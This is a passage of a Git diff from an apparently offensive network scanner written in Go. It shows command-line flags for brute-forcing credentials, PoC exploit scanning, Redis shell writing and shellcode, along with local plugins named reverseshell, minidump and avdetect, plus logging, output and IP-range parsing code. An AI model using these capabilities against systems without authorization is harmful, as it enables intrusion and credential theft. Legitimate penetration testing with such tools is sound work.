fs.BoolVar(&UsePing, "ping", false, GetText("flag_use_ping"))
fs.BoolVar(&EnableFingerprint, "fingerprint", false, GetText("flag_enable_fingerprint"))
fs.BoolVar(&LocalMode, "local", false, GetText("flag_local_mode"))
fs.StringVar(&Username, "user", "", GetText("flag_username"))
fs.StringVar(&Password, "pwd", "", GetText("flag_password"))
fs.StringVar(&AddUsers, "usera", "", GetText("flag_add_users"))
fs.StringVar(&AddPasswords, "pwda", "", GetText("flag_add_passwords"))
fs.StringVar(&UsersFile, "userf", "", GetText("flag_users_file"))
fs.StringVar(&PasswordsFile, "pwdf", "", GetText("flag_passwords_file"))
fs.StringVar(&HashFile, "hashf", "", GetText("flag_hash_file"))
fs.StringVar(&HashValue, "hash", "", GetText("flag_hash_value"))
fs.StringVar(&Domain, "domain", "", GetText("flag_domain"))
fs.StringVar(&SshKeyPath, "sshkey", "", GetText("flag_ssh_key"))
fs.StringVar(&TargetURL, "u", "", GetText("flag_target_url"))
fs.StringVar(&URLsFile, "uf", "", GetText("flag_urls_file"))
fs.StringVar(&Cookie, "cookie", "", GetText("flag_cookie"))
fs.Int64Var(&WebTimeout, "wt", 5, GetText("flag_web_timeout"))
fs.StringVar(&HttpProxy, "proxy", "", GetText("flag_http_proxy"))
fs.StringVar(&Socks5Proxy, "socks5", "", GetText("flag_socks5_proxy"))
fs.StringVar(&PocPath, "pocpath", "", GetText("flag_poc_path"))
fs.StringVar(&Pocinfo.PocName, "pocname", "", GetText("flag_poc_name"))
fs.BoolVar(&PocFull, "full", false, GetText("flag_poc_full"))
fs.BoolVar(&DnsLog, "dns", false, GetText("flag_dns_log"))
fs.IntVar(&PocNum, "num", 20, GetText("flag_poc_num"))
fs.BoolVar(&DisablePocScan, "nopoc", false, GetText("flag_no_poc"))
fs.StringVar(&RedisFile, "rf", "", GetText("flag_redis_file"))
fs.StringVar(&RedisShell, "rs", "", GetText("flag_redis_shell"))
fs.BoolVar(&DisableRedis, "noredis", false, GetText("flag_disable_redis"))
fs.StringVar(&RedisWritePath, "rwp", "", GetText("flag_redis_write_path"))
fs.StringVar(&RedisWriteContent, "rwc", "", GetText("flag_redis_write_content"))
fs.StringVar(&RedisWriteFile, "rwf", "", GetText("flag_redis_write_file"))
fs.BoolVar(&DisableBrute, "nobr", false, GetText("flag_disable_brute"))
fs.IntVar(&MaxRetries, "retry", 3, GetText("flag_max_retries"))
fs.StringVar(&Outputfile, "o", "result.txt", GetText("flag_output_file"))
fs.StringVar(&OutputFormat, "f", "txt", GetText("flag_output_format"))
fs.BoolVar(&DisableSave, "no", false, GetText("flag_disable_save"))
fs.BoolVar(&Silent, "silent", false, GetText("flag_silent_mode"))
fs.BoolVar(&NoColor, "nocolor", false, GetText("flag_no_color"))
fs.StringVar(&LogLevel, "log", LogLevelSuccess, GetText("flag_log_level"))
fs.BoolVar(&ShowProgress, "pg", false, GetText("flag_show_progress"))
fs.BoolVar(&ShowScanPlan, "sp", false, GetText("flag_show_scan_plan"))
fs.BoolVar(&SlowLogOutput, "slow", false, GetText("flag_slow_log_output"))
fs.StringVar(&Shellcode, "sc", "", GetText("flag_shellcode"))
fs.StringVar(&Language, "lang", "zh", GetText("flag_language"))
// 开始解析远程传入的参数
if err := fs.Parse(args); err != nil {
return fmt.Errorf("远程参数解析失败: %v", err)
}
return nil
}
// parseCommandLineArgs 处理来自环境变量和命令行的参数
@ -271,9 +267,6 @@ func parseCommandLineArgs() {
// 解析命令行参数
flag.Parse()
// 检查参数冲突
checkParameterConflicts()
}
// parseEnvironmentArgs 安全地解析环境变量中的参数
@ -315,89 +308,3 @@ func parseEnvironmentArgs(argsString string) ([]string, error) {
return args, nil
}
// preProcessLanguage 预处理语言参数在定义flag之前设置语言
func preProcessLanguage() {
// 遍历命令行参数查找-lang参数
for i, arg := range os.Args {
if arg == "-lang" && i+1 < len(os.Args) {
lang := os.Args[i+1]
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
} else if strings.HasPrefix(arg, "-lang=") {
lang := strings.TrimPrefix(arg, "-lang=")
if lang == "en" || lang == "zh" {
Language = lang
i18n.SetLanguage(lang)
return
}
}
}
// 检查环境变量
envLang := os.Getenv("FS_LANG")
if envLang == "en" || envLang == "zh" {
Language = envLang
i18n.SetLanguage(envLang)
}
}
// shouldShowHelp 检查是否应该显示帮助信息
func shouldShowHelp(Info *HostInfo) bool {
// 检查是否提供了扫描目标
hasTarget := Info.Host != "" || TargetURL != ""
// 本地模式需要指定插件才算有效目标
if LocalMode && LocalPlugin != "" {
hasTarget = true
}
// 如果没有提供任何扫描目标,则显示帮助
if !hasTarget {
return true
}
return false
}
// checkParameterConflicts 检查参数冲突和兼容性
func checkParameterConflicts() {
// 检查 -ao 和 -m icmp 同时指定的情况(向后兼容提示)
if AliveOnly && ScanMode == "icmp" {
LogBase(i18n.GetText("param_conflict_ao_icmp_both"))
}
// 检查本地模式和本地插件参数
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
isValid = true
break
}
}
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
}
// 如果指定了本地插件但未启用本地模式
if !LocalMode && LocalPlugin != "" {
fmt.Printf("错误: 指定本地插件 (-localplugin) 时必须启用本地模式 (-local)\n")
os.Exit(1)
}
}

261
Common/Log.go Normal file
View File

@ -0,0 +1,261 @@
package Common
import (
"fmt"
"io"
"log"
"path/filepath"
"runtime"
"strings"
"sync"
"time"
"github.com/fatih/color"
)
// 全局变量定义
var (
// 扫描状态管理器,记录最近一次成功和错误的时间
status = &ScanStatus{lastSuccess: time.Now(), lastError: time.Now()}
// Num 表示待处理的总任务数量
Num int64
// End 表示已经完成的任务数量
End int64
)
// ScanStatus 用于记录和管理扫描状态的结构体
type ScanStatus struct {
mu sync.RWMutex // 读写互斥锁,用于保护并发访问
total int64 // 总任务数
completed int64 // 已完成任务数
lastSuccess time.Time // 最近一次成功的时间
lastError time.Time // 最近一次错误的时间
}
// LogEntry 定义单条日志的结构
type LogEntry struct {
Level string // 日志级别: ERROR/INFO/SUCCESS/DEBUG
Time time.Time // 日志时间
Content string // 日志内容
}
// 定义系统支持的日志级别常量
const (
LogLevelAll = "ALL" // 显示所有级别日志
LogLevelError = "ERROR" // 仅显示错误日志
LogLevelBase = "BASE" // 仅显示信息日志
LogLevelInfo = "INFO" // 仅显示信息日志
LogLevelSuccess = "SUCCESS" // 仅显示成功日志
LogLevelDebug = "DEBUG" // 仅显示调试日志
)
// 日志级别对应的显示颜色映射
var logColors = map[string]color.Attribute{
LogLevelError: color.FgBlue, // 错误日志显示蓝色
LogLevelBase: color.FgYellow, // 信息日志显示黄色
LogLevelInfo: color.FgGreen, // 信息日志显示绿色
LogLevelSuccess: color.FgRed, // 成功日志显示红色
LogLevelDebug: color.FgWhite, // 调试日志显示白色
}
// InitLogger 初始化日志系统
func InitLogger() {
// 禁用标准日志输出
log.SetOutput(io.Discard)
}
var StartTime = time.Now()
// formatLogMessage 格式化日志消息为标准格式
// 返回格式:[时间] [级别] 内容
func formatLogMessage(entry *LogEntry) string {
elapsed := time.Since(StartTime)
var timeStr string
// 根据时间长短选择合适的单位
switch {
case elapsed < time.Second:
// 毫秒显示,不需要小数
timeStr = fmt.Sprintf("%dms", elapsed.Milliseconds())
case elapsed < time.Minute:
// 秒显示,保留一位小数
timeStr = fmt.Sprintf("%.1fs", elapsed.Seconds())
case elapsed < time.Hour:
// 分钟和秒显示
minutes := int(elapsed.Minutes())
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dm%ds", minutes, seconds)
default:
// 小时、分钟和秒显示
hours := int(elapsed.Hours())
minutes := int(elapsed.Minutes()) % 60
seconds := int(elapsed.Seconds()) % 60
timeStr = fmt.Sprintf("%dh%dm%ds", hours, minutes, seconds)
}
str := " "
switch entry.Level {
case LogLevelSuccess:
str = "[+]"
case LogLevelInfo:
str = "[*]"
case LogLevelError:
str = "[-]"
}
return fmt.Sprintf("[%s] %s %s", timeStr, str, entry.Content)
}
// printLog 根据日志级别打印日志
func printLog(entry *LogEntry) {
if LogLevel != "debug" && (entry.Level == LogLevelDebug || entry.Level == LogLevelError) {
return
}
OutputMutex.Lock()
defer OutputMutex.Unlock()
// 处理进度条
clearAndWaitProgress()
// 打印日志消息
logMsg := formatLogMessage(entry)
if !NoColor {
// 使用彩色输出
if colorAttr, ok := logColors[entry.Level]; ok {
color.New(colorAttr).Println(logMsg)
} else {
fmt.Println(logMsg)
}
} else {
// 普通输出
fmt.Println(logMsg)
}
// 根据慢速输出设置决定是否添加延迟
if SlowLogOutput {
time.Sleep(50 * time.Millisecond)
}
// 重新显示进度条
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// clearAndWaitProgress 清除进度条并等待
func clearAndWaitProgress() {
if ProgressBar != nil {
ProgressBar.Clear()
time.Sleep(10 * time.Millisecond)
}
}
// handleLog 统一处理日志的输出
func handleLog(entry *LogEntry) {
if ProgressBar != nil {
ProgressBar.Clear()
}
printLog(entry)
if ProgressBar != nil {
ProgressBar.RenderBlank()
}
}
// LogDebug 记录调试日志
func LogDebug(msg string) {
handleLog(&LogEntry{
Level: LogLevelDebug,
Time: time.Now(),
Content: msg,
})
}
// LogBase 记录进度信息
func LogBase(msg string) {
handleLog(&LogEntry{
Level: LogLevelBase,
Time: time.Now(),
Content: msg,
})
}
// LogInfo 记录信息日志
// [*]
func LogInfo(msg string) {
handleLog(&LogEntry{
Level: LogLevelInfo,
Time: time.Now(),
Content: msg,
})
}
// LogSuccess 记录成功日志,并更新最后成功时间
// [+]
func LogSuccess(result string) {
entry := &LogEntry{
Level: LogLevelSuccess,
Time: time.Now(),
Content: result,
}
handleLog(entry)
// 更新最后成功时间
status.mu.Lock()
status.lastSuccess = time.Now()
status.mu.Unlock()
}
// LogError 记录错误日志,自动包含文件名和行号信息
func LogError(errMsg string) {
// 获取调用者的文件名和行号
_, file, line, ok := runtime.Caller(1)
if !ok {
file = "unknown"
line = 0
}
file = filepath.Base(file)
errorMsg := fmt.Sprintf("%s:%d - %s", file, line, errMsg)
entry := &LogEntry{
Level: LogLevelError,
Time: time.Now(),
Content: errorMsg,
}
handleLog(entry)
}
// CheckErrs 检查是否为需要重试的错误
func CheckErrs(err error) error {
if err == nil {
return nil
}
// 已知需要重试的错误列表
errs := []string{
"closed by the remote host", "too many connections",
"EOF", "A connection attempt failed",
"established connection failed", "connection attempt failed",
"Unable to read", "is not allowed to connect to this",
"no pg_hba.conf entry",
"No connection could be made",
"invalid packet size",
"bad connection",
}
// 检查错误是否匹配
errLower := strings.ToLower(err.Error())
for _, key := range errs {
if strings.Contains(errLower, strings.ToLower(key)) {
time.Sleep(1 * time.Second)
return err
}
}
return nil
}

324
Common/Output.go Normal file
View File

@ -0,0 +1,324 @@
package Common
import (
"encoding/csv"
"encoding/json"
"fmt"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
// 全局输出管理器
var ResultOutput *OutputManager
// OutputManager 输出管理器结构体
type OutputManager struct {
mu sync.Mutex
outputPath string
outputFormat string
file *os.File
csvWriter *csv.Writer
jsonEncoder *json.Encoder
isInitialized bool
}
// ResultType 定义结果类型
type ResultType string
const (
HOST ResultType = "HOST" // 主机存活
PORT ResultType = "PORT" // 端口开放
SERVICE ResultType = "SERVICE" // 服务识别
VULN ResultType = "VULN" // 漏洞发现
)
// ScanResult 扫描结果结构
type ScanResult struct {
Time time.Time `json:"time"` // 发现时间
Type ResultType `json:"type"` // 结果类型
Target string `json:"target"` // 目标(IP/域名/URL)
Status string `json:"status"` // 状态描述
Details map[string]interface{} `json:"details"` // 详细信息
}
// InitOutput 初始化输出系统
func InitOutput() error {
LogDebug(GetText("output_init_start"))
// 验证输出格式
switch OutputFormat {
case "txt", "json", "csv":
// 有效的格式
default:
return fmt.Errorf(GetText("output_format_invalid"), OutputFormat)
}
// 验证输出路径
if Outputfile == "" {
return fmt.Errorf(GetText("output_path_empty"))
}
dir := filepath.Dir(Outputfile)
if err := os.MkdirAll(dir, 0755); err != nil {
LogDebug(GetText("output_create_dir_failed", err))
return fmt.Errorf(GetText("output_create_dir_failed", err))
}
if ApiAddr != "" {
OutputFormat = "csv"
Outputfile = filepath.Join(dir, "fscanapi.csv")
Num = 0
End = 0
if _, err := os.Stat(Outputfile); err == nil {
if err := os.Remove(Outputfile); err != nil {
return fmt.Errorf(GetText("output_file_remove_failed", err))
}
}
}
manager := &OutputManager{
outputPath: Outputfile,
outputFormat: OutputFormat,
}
if err := manager.initialize(); err != nil {
LogDebug(GetText("output_init_failed", err))
return fmt.Errorf(GetText("output_init_failed", err))
}
ResultOutput = manager
LogDebug(GetText("output_init_success"))
return nil
}
func (om *OutputManager) initialize() error {
om.mu.Lock()
defer om.mu.Unlock()
if om.isInitialized {
LogDebug(GetText("output_already_init"))
return nil
}
LogDebug(GetText("output_opening_file", om.outputPath))
file, err := os.OpenFile(om.outputPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return fmt.Errorf(GetText("output_open_file_failed", err))
}
om.file = file
switch om.outputFormat {
case "csv":
LogDebug(GetText("output_init_csv"))
om.csvWriter = csv.NewWriter(file)
headers := []string{"Time", "Type", "Target", "Status", "Details"}
if err := om.csvWriter.Write(headers); err != nil {
LogDebug(GetText("output_write_csv_header_failed", err))
file.Close()
return fmt.Errorf(GetText("output_write_csv_header_failed", err))
}
om.csvWriter.Flush()
case "json":
LogDebug(GetText("output_init_json"))
om.jsonEncoder = json.NewEncoder(file)
om.jsonEncoder.SetIndent("", " ")
case "txt":
LogDebug(GetText("output_init_txt"))
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
}
om.isInitialized = true
LogDebug(GetText("output_init_complete"))
return nil
}
// SaveResult 保存扫描结果
func SaveResult(result *ScanResult) error {
if ResultOutput == nil {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
LogDebug(GetText("output_saving_result", result.Type, result.Target))
return ResultOutput.saveResult(result)
}
func GetResults() ([]*ScanResult, error) {
if ResultOutput == nil {
return nil, fmt.Errorf(GetText("output_not_init"))
}
if ResultOutput.outputFormat == "csv" {
return ResultOutput.getResult()
}
// 其他格式尚未实现读取支持
return nil, fmt.Errorf(GetText("output_format_read_not_supported"))
}
func (om *OutputManager) saveResult(result *ScanResult) error {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return fmt.Errorf(GetText("output_not_init"))
}
var err error
switch om.outputFormat {
case "txt":
err = om.writeTxt(result)
case "json":
err = om.writeJson(result)
case "csv":
err = om.writeCsv(result)
default:
LogDebug(GetText("output_format_invalid", om.outputFormat))
return fmt.Errorf(GetText("output_format_invalid", om.outputFormat))
}
if err != nil {
LogDebug(GetText("output_save_failed", err))
} else {
LogDebug(GetText("output_save_success", result.Type, result.Target))
}
return err
}
func (om *OutputManager) getResult() ([]*ScanResult, error) {
om.mu.Lock()
defer om.mu.Unlock()
if !om.isInitialized {
LogDebug(GetText("output_not_init"))
return nil, fmt.Errorf(GetText("output_not_init"))
}
file, err := os.Open(om.outputPath)
if err != nil {
LogDebug(GetText("output_open_file_failed", err))
return nil, err
}
defer file.Close()
reader := csv.NewReader(file)
records, err := reader.ReadAll()
if err != nil {
LogDebug(GetText("output_read_csv_failed", err))
return nil, err
}
var results []*ScanResult
for i, row := range records {
// 跳过 CSV 头部
if i == 0 {
continue
}
if len(row) < 5 {
continue // 数据不完整
}
t, err := time.Parse("2006-01-02 15:04:05", row[0])
if err != nil {
continue
}
var details map[string]interface{}
if err := json.Unmarshal([]byte(row[4]), &details); err != nil {
details = make(map[string]interface{})
}
result := &ScanResult{
Time: t,
Type: ResultType(row[1]),
Target: row[2],
Status: row[3],
Details: details,
}
results = append(results, result)
}
LogDebug(GetText("output_read_csv_success", len(results)))
return results, nil
}
func (om *OutputManager) writeTxt(result *ScanResult) error {
// 格式化 Details 为键值对字符串
var details string
if len(result.Details) > 0 {
pairs := make([]string, 0, len(result.Details))
for k, v := range result.Details {
pairs = append(pairs, fmt.Sprintf("%s=%v", k, v))
}
details = strings.Join(pairs, ", ")
}
txt := GetText("output_txt_format",
result.Time.Format("2006-01-02 15:04:05"),
result.Type,
result.Target,
result.Status,
details,
) + "\n"
_, err := om.file.WriteString(txt)
return err
}
func (om *OutputManager) writeJson(result *ScanResult) error {
return om.jsonEncoder.Encode(result)
}
func (om *OutputManager) writeCsv(result *ScanResult) error {
details, err := json.Marshal(result.Details)
if err != nil {
details = []byte("{}")
}
record := []string{
result.Time.Format("2006-01-02 15:04:05"),
string(result.Type),
result.Target,
result.Status,
string(details),
}
if err := om.csvWriter.Write(record); err != nil {
return err
}
om.csvWriter.Flush()
return om.csvWriter.Error()
}
// CloseOutput 关闭输出系统
func CloseOutput() error {
if ResultOutput == nil {
LogDebug(GetText("output_no_need_close"))
return nil
}
LogDebug(GetText("output_closing"))
ResultOutput.mu.Lock()
defer ResultOutput.mu.Unlock()
if !ResultOutput.isInitialized {
LogDebug(GetText("output_no_need_close"))
return nil
}
if ResultOutput.csvWriter != nil {
LogDebug(GetText("output_flush_csv"))
ResultOutput.csvWriter.Flush()
}
if err := ResultOutput.file.Close(); err != nil {
LogDebug(GetText("output_close_failed", err))
return fmt.Errorf(GetText("output_close_failed", err))
}
ResultOutput.isInitialized = false
LogDebug(GetText("output_closed"))
return nil
}

File diff suppressed because it is too large Load Diff

549
Common/ParseIP.go Normal file
View File

@ -0,0 +1,549 @@
package Common
import (
"bufio"
"errors"
"fmt"
"math/rand"
"net"
"os"
"regexp"
"sort"
"strconv"
"strings"
)
// IP解析相关错误
var (
ErrParseIP = errors.New(GetText("parse_ip_error")) // IP解析失败的统一错误
)
// ParseIP 解析各种格式的IP地址
// 参数:
// - host: 主机地址可以是单个IP、IP范围、CIDR或常用网段简写
// - filename: 包含主机地址的文件名
// - nohosts: 需要排除的主机地址列表
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 解析过程中的错误
func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) {
// 处理主机和端口组合的情况 (格式: IP:PORT)
if filename == "" && strings.Contains(host, ":") {
hostport := strings.Split(host, ":")
if len(hostport) == 2 {
host = hostport[0]
hosts = parseIPList(host)
Ports = hostport[1]
LogBase(GetText("host_port_parsed", Ports))
}
} else {
// 解析主机地址
hosts = parseIPList(host)
// 从文件加载额外主机
if filename != "" {
fileHosts, err := readIPFile(filename)
if err != nil {
LogError(GetText("read_host_file_failed", err))
} else {
hosts = append(hosts, fileHosts...)
LogBase(GetText("extra_hosts_loaded", len(fileHosts)))
}
}
}
// 处理需要排除的主机
hosts = excludeHosts(hosts, nohosts)
// 去重并排序
hosts = removeDuplicateIPs(hosts)
LogBase(GetText("final_valid_hosts", len(hosts)))
// 检查解析结果
if len(hosts) == 0 && len(HostPort) == 0 && (host != "" || filename != "") {
return nil, ErrParseIP
}
return hosts, nil
}
// parseIPList 解析逗号分隔的IP地址列表
// 参数:
// - ipList: 逗号分隔的IP地址列表字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseIPList(ipList string) []string {
var result []string
// 处理逗号分隔的IP列表
if strings.Contains(ipList, ",") {
ips := strings.Split(ipList, ",")
for _, ip := range ips {
if parsed := parseSingleIP(ip); len(parsed) > 0 {
result = append(result, parsed...)
}
}
} else if ipList != "" {
// 解析单个IP地址或范围
result = parseSingleIP(ipList)
}
return result
}
// parseSingleIP 解析单个IP地址或IP范围
// 支持多种格式:
// - 普通IP: 192.168.1.1
// - 简写网段: 192, 172, 10
// - CIDR: 192.168.0.0/24
// - 范围: 192.168.1.1-192.168.1.100 或 192.168.1.1-100
// - 域名: example.com
// 参数:
// - ip: IP地址或范围字符串
//
// 返回:
// - []string: 解析后的IP地址列表
func parseSingleIP(ip string) []string {
// 检测是否包含字母(可能是域名)
isAlpha := regexp.MustCompile(`[a-zA-Z]+`).MatchString(ip)
// 根据不同格式解析IP
switch {
case ip == "192":
// 常用内网段简写
return parseSingleIP("192.168.0.0/16")
case ip == "172":
// 常用内网段简写
return parseSingleIP("172.16.0.0/12")
case ip == "10":
// 常用内网段简写
return parseSingleIP("10.0.0.0/8")
case strings.HasSuffix(ip, "/8"):
// 处理/8网段使用采样方式
return parseSubnet8(ip)
case strings.Contains(ip, "/"):
// 处理CIDR格式
return parseCIDR(ip)
case isAlpha:
// 处理域名,直接返回
return []string{ip}
case strings.Contains(ip, "-"):
// 处理IP范围
return parseIPRange(ip)
default:
// 尝试解析为单个IP地址
if testIP := net.ParseIP(ip); testIP != nil {
return []string{ip}
}
LogError(GetText("invalid_ip_format", ip))
return nil
}
}
// parseCIDR 解析CIDR格式的IP地址段
// 例如: 192.168.1.0/24
// 参数:
// - cidr: CIDR格式的IP地址段
//
// 返回:
// - []string: 展开后的IP地址列表
func parseCIDR(cidr string) []string {
// 解析CIDR格式
_, ipNet, err := net.ParseCIDR(cidr)
if err != nil {
LogError(GetText("cidr_parse_failed", cidr, err))
return nil
}
// 转换为IP范围
ipRange := calculateIPRange(ipNet)
hosts := parseIPRange(ipRange)
LogBase(GetText("parse_cidr_to_range", cidr, ipRange))
return hosts
}
// calculateIPRange 计算CIDR的起始IP和结束IP
// 例如: 192.168.1.0/24 -> 192.168.1.0-192.168.1.255
// 参数:
// - cidr: 解析后的IPNet对象
//
// 返回:
// - string: 格式为"起始IP-结束IP"的范围字符串
func calculateIPRange(cidr *net.IPNet) string {
// 获取网络起始IP
start := cidr.IP.String()
mask := cidr.Mask
// 计算广播地址(最后一个IP)
bcst := make(net.IP, len(cidr.IP))
copy(bcst, cidr.IP)
// 将网络掩码按位取反然后与IP地址按位或得到广播地址
for i := 0; i < len(mask); i++ {
ipIdx := len(bcst) - i - 1
bcst[ipIdx] = cidr.IP[ipIdx] | ^mask[len(mask)-i-1]
}
end := bcst.String()
result := fmt.Sprintf("%s-%s", start, end)
LogBase(GetText("cidr_range", result))
return result
}
// parseIPRange 解析IP范围格式的地址
// 支持两种格式:
// - 完整格式: 192.168.1.1-192.168.1.100
// - 简写格式: 192.168.1.1-100
// 参数:
// - ipRange: IP范围字符串
//
// 返回:
// - []string: 展开后的IP地址列表
func parseIPRange(ipRange string) []string {
parts := strings.Split(ipRange, "-")
if len(parts) != 2 {
LogError(GetText("ip_range_format_error", ipRange))
return nil
}
startIP := parts[0]
endIP := parts[1]
// 验证起始IP
if net.ParseIP(startIP) == nil {
LogError(GetText("invalid_ip_format", startIP))
return nil
}
// 处理简写格式 (如: 192.168.1.1-100)
if len(endIP) < 4 || !strings.Contains(endIP, ".") {
return parseShortIPRange(startIP, endIP)
} else {
// 处理完整格式 (如: 192.168.1.1-192.168.1.100)
return parseFullIPRange(startIP, endIP)
}
}
// parseShortIPRange 解析简写格式的IP范围
// 例如: 192.168.1.1-100 表示从192.168.1.1到192.168.1.100
// 参数:
// - startIP: 起始IP
// - endSuffix: 结束IP的最后一部分
//
// 返回:
// - []string: 展开后的IP地址列表
func parseShortIPRange(startIP, endSuffix string) []string {
var allIP []string
// 将结束段转换为数字
endNum, err := strconv.Atoi(endSuffix)
if err != nil || endNum > 255 {
LogError(GetText("ip_range_format_error", startIP+"-"+endSuffix))
return nil
}
// 分解起始IP
ipParts := strings.Split(startIP, ".")
if len(ipParts) != 4 {
LogError(GetText("ip_format_error", startIP))
return nil
}
// 获取前缀和起始IP的最后一部分
prefixIP := strings.Join(ipParts[0:3], ".")
startNum, err := strconv.Atoi(ipParts[3])
if err != nil || startNum > endNum {
LogError(GetText("invalid_ip_range", startNum, endNum))
return nil
}
// 生成IP范围
for i := startNum; i <= endNum; i++ {
allIP = append(allIP, fmt.Sprintf("%s.%d", prefixIP, i))
}
LogBase(GetText("generate_ip_range", prefixIP, startNum, prefixIP, endNum))
return allIP
}
// parseFullIPRange 解析完整格式的IP范围
// 例如: 192.168.1.1-192.168.2.100
// 参数:
// - startIP: 起始IP
// - endIP: 结束IP
//
// 返回:
// - []string: 展开后的IP地址列表
func parseFullIPRange(startIP, endIP string) []string {
var allIP []string
// 验证结束IP
if net.ParseIP(endIP) == nil {
LogError(GetText("invalid_ip_format", endIP))
return nil
}
// 分解起始IP和结束IP
startParts := strings.Split(startIP, ".")
endParts := strings.Split(endIP, ".")
if len(startParts) != 4 || len(endParts) != 4 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
// 转换为整数数组
var start, end [4]int
for i := 0; i < 4; i++ {
var err1, err2 error
start[i], err1 = strconv.Atoi(startParts[i])
end[i], err2 = strconv.Atoi(endParts[i])
if err1 != nil || err2 != nil || start[i] > 255 || end[i] > 255 {
LogError(GetText("ip_format_error", startIP+"-"+endIP))
return nil
}
}
// 计算IP地址的整数表示
startInt := (start[0] << 24) | (start[1] << 16) | (start[2] << 8) | start[3]
endInt := (end[0] << 24) | (end[1] << 16) | (end[2] << 8) | end[3]
// 检查范围的有效性
if startInt > endInt {
LogError(GetText("invalid_ip_range", startIP, endIP))
return nil
}
// 限制IP范围的大小防止生成过多IP导致内存问题
if endInt-startInt > 65535 {
LogError(GetText("ip_range_too_large", startIP, endIP))
// 可以考虑在这里实现采样或截断策略
}
// 生成IP范围
for ipInt := startInt; ipInt <= endInt; ipInt++ {
ip := fmt.Sprintf("%d.%d.%d.%d",
(ipInt>>24)&0xFF,
(ipInt>>16)&0xFF,
(ipInt>>8)&0xFF,
ipInt&0xFF)
allIP = append(allIP, ip)
}
LogBase(GetText("generate_ip_range_full", startIP, endIP, len(allIP)))
return allIP
}
// parseSubnet8 解析/8网段的IP地址生成采样IP列表
// 由于/8网段包含1600多万个IP因此采用采样方式
// 参数:
// - subnet: CIDR格式的/8网段
//
// 返回:
// - []string: 采样的IP地址列表
func parseSubnet8(subnet string) []string {
// 去除CIDR后缀获取基础IP
baseIP := subnet[:len(subnet)-2]
if net.ParseIP(baseIP) == nil {
LogError(GetText("invalid_ip_format", baseIP))
return nil
}
// 获取/8网段的第一段
firstOctet := strings.Split(baseIP, ".")[0]
var sampleIPs []string
LogBase(GetText("parse_subnet", firstOctet))
// 预分配足够的容量以提高性能
// 每个二级网段10个IP共256*256个二级网段
sampleIPs = make([]string, 0, 10)
// 对常用网段进行更全面的扫描
commonSecondOctets := []int{0, 1, 2, 10, 100, 200, 254}
// 对于每个选定的第二段,采样部分第三段
for _, secondOctet := range commonSecondOctets {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += 10 {
// 添加常见的网关和服务器IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet)) // 默认网关
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.254", firstOctet, secondOctet, thirdOctet)) // 通常用于路由器/交换机
// 随机采样不同范围的主机IP
fourthOctet := randomInt(2, 253)
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, fourthOctet))
}
}
// 对其他二级网段进行稀疏采样
samplingStep := 32 // 每32个二级网段采样1个
for secondOctet := 0; secondOctet < 256; secondOctet += samplingStep {
for thirdOctet := 0; thirdOctet < 256; thirdOctet += samplingStep {
// 对于采样的网段取几个代表性IP
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.1", firstOctet, secondOctet, thirdOctet))
sampleIPs = append(sampleIPs, fmt.Sprintf("%s.%d.%d.%d", firstOctet, secondOctet, thirdOctet, randomInt(2, 253)))
}
}
LogBase(GetText("sample_ip_generated", len(sampleIPs)))
return sampleIPs
}
// readIPFile 从文件中按行读取IP地址
// 支持两种格式:
// - 每行一个IP或IP范围
// - IP:PORT 格式指定端口
// 参数:
// - filename: 包含IP地址的文件路径
//
// 返回:
// - []string: 解析后的IP地址列表
// - error: 读取和解析过程中的错误
func readIPFile(filename string) ([]string, error) {
// 打开文件
file, err := os.Open(filename)
if err != nil {
LogError(GetText("open_file_failed", filename, err))
return nil, err
}
defer file.Close()
var ipList []string
scanner := bufio.NewScanner(file)
scanner.Split(bufio.ScanLines)
// 逐行处理
lineCount := 0
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue // 跳过空行和注释行
}
lineCount++
// 处理IP:PORT格式
if strings.Contains(line, ":") {
parts := strings.Split(line, ":")
if len(parts) == 2 {
// 提取端口部分,处理可能的注释
portPart := strings.Split(parts[1], " ")[0]
portPart = strings.Split(portPart, "#")[0]
port, err := strconv.Atoi(portPart)
// 验证端口有效性
if err != nil || port < 1 || port > 65535 {
LogError(GetText("invalid_port", line))
continue
}
// 解析IP部分并与端口组合
hosts := parseIPList(parts[0])
for _, host := range hosts {
HostPort = append(HostPort, fmt.Sprintf("%s:%s", host, portPart))
}
LogBase(GetText("parse_ip_port", line))
} else {
LogError(GetText("invalid_ip_port_format", line))
}
} else {
// 处理纯IP格式
hosts := parseIPList(line)
ipList = append(ipList, hosts...)
LogBase(GetText("parse_ip_address", line))
}
}
// 检查扫描过程中的错误
if err := scanner.Err(); err != nil {
LogError(GetText("read_file_error", err))
return ipList, err
}
LogBase(GetText("file_parse_complete", len(ipList)))
